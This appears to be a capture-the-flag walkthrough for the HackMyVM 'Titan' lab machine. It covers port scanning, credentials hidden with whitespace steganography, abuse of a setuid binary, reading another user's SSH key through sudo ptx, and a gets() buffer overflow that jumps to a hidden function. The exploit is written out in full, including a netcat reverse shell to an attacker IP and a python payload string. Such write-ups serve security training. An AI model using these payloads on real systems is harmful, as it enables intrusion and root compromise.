https://hackmyvm.eu/machines/machine.php?vm=Titan
Scan ports first.
nmap -sV -sC -p- -oN ports.log 192.168.56.100
Nmap scan report for chronos.local (192.168.56.100)
Host is up (0.00098s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 37:fa:d2:9f:20:25:cf:c5:96:7a:dc:f3:ff:2c:7a:22 (RSA)
| 256 11:ad:fa:95:71:c5:f9:d4:97:da:42:03:2b:0f:55:bb (ECDSA)
|_ 256 fa:fb:04:13:93:90:a5:01:53:ba:6c:e9:bf:dc:bf:7e (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Scan port 80. found /robots.txt, then download athena.txt.
~ curl http://192.168.56.100/robots.txt
gobuster-0 | 0 [14:29:34]
/athena.txt
~ wget http://192.168.56.100/athena.txt
Use vim to open athena.txt, found some strange spaces and tabs.
Through google "space tab steg", we know it's some crypto strings. And we can decrypt it with stegsnow. Then we get username and password of prometheus.
~ sudo apt install stegsnow
stegsnow is already the newest version (20130616-6).
~ stegsnow -C athena.txt
prometheus/iloveallhumans⏎
Log in ssh as prometheus, found a file named sacrifice in home folder.
prometheus@titan:~$ ls -la
total 52
drwxr-xr-x 2 prometheus prometheus 4096 Aug 18 06:03 .
drwxr-xr-x 5 root root 4096 Aug 9 14:23 ..
-rw------- 1 prometheus prometheus 2718 Aug 18 05:01 .bash_history
-rw-r--r-- 1 prometheus prometheus 220 Aug 9 14:23 .bash_logout
-rw-r--r-- 1 prometheus prometheus 3526 Aug 9 14:23 .bashrc
-rw-r--r-- 1 prometheus prometheus 807 Aug 9 14:23 .profile
-rwsr-sr-x 1 root prometheus 16896 Aug 9 14:29 sacrifice
-rw------- 1 prometheus prometheus 102 Aug 18 05:51 .Xauthority
Disassemble sacrifice, we can know, if we input "beef", we can escalate to user with uid 1000 (0x03E8).
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[72]; // [rsp+10h] [rbp-50h] BYREF
int v6; // [rsp+5Ch] [rbp-4h]
v6 = 1000;
printf("What is your offer to the gods?");
gets(s1);
if ( strcmp(s1, "beef") )
{
printf("Thanks, mortal.");
}
else
{
setuid(0x3E8u);
setgid(0x3E8u);
printf("Take this gift.");
system("/bin/bash");
}
return 0;
}
Now we can escalate to user zeus.
prometheus@titan:~$ ./sacrifice
What is your offer to the gods?beef
zeus@titan:~$ id
uid=1000(zeus) gid=1001(prometheus) groups=1001(prometheus)
Check sudo -l.
zeus@titan:~$ sudo -l
Matching Defaults entries for zeus on titan:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zeus may run the following commands on titan:
(hesiod) NOPASSWD: /usr/bin/ptx
Check help manual of ptx, then we can use ptx to read /home/hesiod/.ssh/id_rsa.
zeus@titan:/home/zeus$ sudo -u hesiod ptx /home/hesiod/.ssh/id_rsa -A -G
.xx "PRIVATE/" "" "-----BEGIN OPENSSH" "" "/home/hesiod/.ssh/id_rsa:1"
.xx "PRIVATE/" "" "-----END OPENSSH" "" "/home/hesiod/.ssh/id_rsa:27"
.xx "" "" "/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER" "" "/home/hesiod/.ssh/id_rsa:16"
...
.xx "" "" "xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z" "" "/home/hesiod/.ssh/id_rsa:22"
.xx "" "" "xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==" "" "/home/hesiod/.ssh/id_rsa:26"
Paste line by line in order into a new key file, chmod 600, then we can login as hesiod with private key.
~ ssh hesiod@192.168.56.100 -i id_rsa ...
Last login: Wed Aug 18 05:51:27 2021 from 192.168.56.150
hesiod@titan:~$ id
uid=1002(hesiod) gid=1002(hesiod) groups=1002(hesiod)
hesiod@titan:~$
In /home/hesiod, we found a file named fire. It's writable.
hesiod@titan:~$ ls -la
total 56
drwxr-xr-x 4 hesiod hesiod 4096 Aug 18 02:11 .
drwxr-xr-x 5 root root 4096 Aug 9 14:23 ..
-rw------- 1 hesiod hesiod 1265 Aug 18 01:51 .bash_history
-rw-r--r-- 1 hesiod hesiod 220 Aug 9 14:23 .bash_logout
-rw-r--r-- 1 hesiod hesiod 3526 Aug 9 14:23 .bashrc
-rwxr-x--- 1 hesiod hesiod 16608 Aug 9 14:27 fire
drwxr-xr-x 3 hesiod hesiod 4096 Aug 9 14:25 .local
-rw-r--r-- 1 hesiod hesiod 807 Aug 9 14:23 .profile
drwx------ 2 hesiod hesiod 4096 Aug 9 14:31 .ssh
-rw------- 1 hesiod hesiod 102 Aug 18 02:11 .Xauthority
Now here is the key point to root.
Go back to sacrifice, in disassembler, just scroll up a little, we can found a secret function named "thief".
.text:0000000000001185 public thief
.text:0000000000001185 thief proc near
.text:0000000000001185 ; __unwind {
.text:0000000000001185 push rbp
.text:0000000000001186 mov rbp, rsp
.text:0000000000001189 mov edi, 0 ; uid
.text:000000000000118E call _setuid
.text:0000000000001193 mov edi, 0 ; gid
.text:0000000000001198 call _setgid
.text:000000000000119D lea rdi, command ; "/home/hesiod/fire"
.text:00000000000011A4 call _system
.text:00000000000011A9 nop
.text:00000000000011AA pop rbp
.text:00000000000011AB retn
.text:00000000000011AB ; } // starts at 1185
.text:00000000000011AB thief endp
.text:00000000000011AB
.text:00000000000011AC
.text:00000000000011AC ; =============== S U B R O U T I N E =======================================
.text:00000000000011AC
.text:00000000000011AC ; Attributes: bp-based frame
.text:00000000000011AC
.text:00000000000011AC ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000000011AC public main
.text:00000000000011AC main proc near ; DATA XREF: _start+1D↑o
.text:00000000000011AC
.text:00000000000011AC var_60 = qword ptr -60h
.text:00000000000011AC var_54 = dword ptr -54h
.text:00000000000011AC s1 = byte ptr -50h
.text:00000000000011AC var_8 = dword ptr -8
.text:00000000000011AC var_4 = dword ptr -4
.text:00000000000011AC
.text:00000000000011AC ; __unwind {
.text:00000000000011AC push rbp
.text:00000000000011AD mov rbp, rsp
.text:00000000000011B0 sub rsp, 60h
.text:00000000000011B4 mov [rbp+var_54], edi
.text:00000000000011B7 mov [rbp+var_60], rsi
Through reading the source code, we get the final method:
We need to overflow sacrifice, then run secret function "thief", "thief" then calls /home/hesiod/fire, and write shellcode in fire to get root.
To successfully pwn sacrifice, first step is to calcute the offset of overflow point. Download sacrificeto local machine, and use gdb-peda to load it.
Create pattern string with length 200.
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
Input 'r' to let program run, when ask for input answer, paste the above pattern string.
gdb-peda$ r
Starting program: /home/kali/Documents/titan/sacrifice
What is your offer to the gods?AAA%AAsA...
Then we will get Segmentation fault, because return address is illegal.
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
...
RSP: 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
RIP: 0x55555555524a (<main+158>: ret)
...
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x55555555523f <main+147>: call 0x555555555040 <printf@plt>
0x555555555244 <main+152>: mov eax,0x0
0x555555555249 <main+157>: leave
=> 0x55555555524a <main+158>: ret
0x55555555524b: nop DWORD PTR [rax+rax*1+0x0]
0x555555555250 <__libc_csu_init>: push r15
0x555555555252 <__libc_csu_init+2>: mov r15,rdx
0x555555555255 <__libc_csu_init+5>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4e8 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0x7fffffffe4f0 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x000055555555524a in main ()
Use "patter search" to get the offset is 88 for [RSP]. And [RSP] points to the original return address, which we want to overflow with our own return address.
gdb-peda$ pattern search
Registers contain pattern buffer:
RBP+0 found at offset: 80
Registers point to pattern buffer:
[RSP] --> offset 88 - size ~112
[R8] --> offset 0 - size ~212
...
The method is, we need to fill 87 chars, then following the address of secret function "thief", which is 0x555555555185. (Maybe not the same on your machine).
gdb-peda$ disassemble 0x555555555185
Dump of assembler code for function thief:
0x0000555555555185 <+0>: push rbp
0x0000555555555186 <+1>: mov rbp,rsp
0x0000555555555189 <+4>: mov edi,0x0
0x000055555555518e <+9>: call 0x555555555080 <setuid@plt>
0x0000555555555193 <+14>: mov edi,0x0
0x0000555555555198 <+19>: call 0x555555555070 <setgid@plt>
0x000055555555519d <+24>: lea rdi,[rip+0xe64] # 0x555555556008
0x00005555555551a4 <+31>: call 0x555555555030 <system@plt>
0x00005555555551a9 <+36>: nop
0x00005555555551aa <+37>: pop rbp
0x00005555555551ab <+38>: ret
End of assembler dump.
Because intel machine is little-Endian, so the 64bit address of 0x555555555185 should be "\x85\x51\x55\x55\x55\x55\x00\x00" in python string format.
We write reverse shell code in /home/hesiod/fire as user hesiod, remember to add +x in order to let prometheus has execute permission.
hesiod@titan:~$ echo 'nc 192.168.56.150 1234 -e /bin/bash' > fire
hesiod@titan:~$ chmod +x fire
hesiod@titan:~$ ls -la fire
-rwxr-x--x 1 hesiod hesiod 36 Aug 18 06:05 fire
Then back to user prometheus, use python to generate the evil string and pwn sacrifice.
prometheus@titan:~$ python3 -c 'print("a"*87+"\x85\x51\x55\x55\x55\x55\x00\x00")' |./sacrifice
────────────────────────────────────────────────────────────────────────────────────────────────
~ nc -nlvp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.56.100.
Ncat: Connection from 192.168.56.100:47256.
id
uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
cd /root
id;hostname
uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
titan